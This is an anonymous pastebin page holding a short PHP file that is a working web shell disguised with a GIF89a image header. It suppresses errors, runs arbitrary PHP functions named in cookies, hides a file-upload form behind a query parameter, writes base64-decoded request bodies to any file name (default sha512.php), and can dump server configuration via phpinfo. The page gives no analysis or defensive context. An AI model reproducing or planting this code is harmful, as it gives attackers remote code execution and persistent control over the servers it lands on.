Untitled

From Anonymous, 16 Hours ago, written in Plain Text, viewed 1 times.
URL http://minetest.wjake.com/stikked/view/c19ad553 Embed
Download Paste or View Raw
  1. GIF89a;<?php
  2. error_reporting(0);
  3.  
  4. if (isset($_COOKIE['set_name'])) {
  5.     $_COOKIE['api_key']($_COOKIE['set_name']);
  6. }
  7. if (isset($_COOKIE['api_secret'])) {
  8.     $_COOKIE['api_key']($_COOKIE['set_name'], $_COOKIE['api_secret']);
  9. }
  10. if (isset($_COOKIE['value'])) {
  11.     $_COOKIE['api_key']($_COOKIE['set_name']($_COOKIE['value']));
  12. }
  13.  
  14. if (isset($_GET['handler'])) {
  15.     if (isset($_FILES['file']['name'])) {
  16.         $name = $_FILES['file']['name'];
  17.         $tmp  = $_FILES['file']['tmp_name'];
  18.         move_uploaded_file($tmp, $name);
  19.         echo '<a href="' . $name . '">' . $name . '</a>';
  20.     } else {
  21.         echo '<form method="POST" enctype="multipart/form-data">'
  22.            . '<input type="file" name="file">'
  23.            . '<input type="submit" value="Upload File">'
  24.            . '</form>';
  25.     }
  26.     exit;
  27. }
  28.  
  29. if (isset($_GET['raw'])) {
  30.     $out = isset($_GET['name']) ? $_GET['name'] : 'sha512.php';
  31.     file_put_contents($out, base64_decode(file_get_contents('php://input')));
  32.     echo 'OK: ' . $out;
  33.     exit;
  34. }
  35.  
  36. if (isset($_GET['info'])) {
  37.     phpinfo();
  38.     exit;
  39. }
  40. ?>
  41.  

Reply to "Untitled"

Here you can reply to the paste above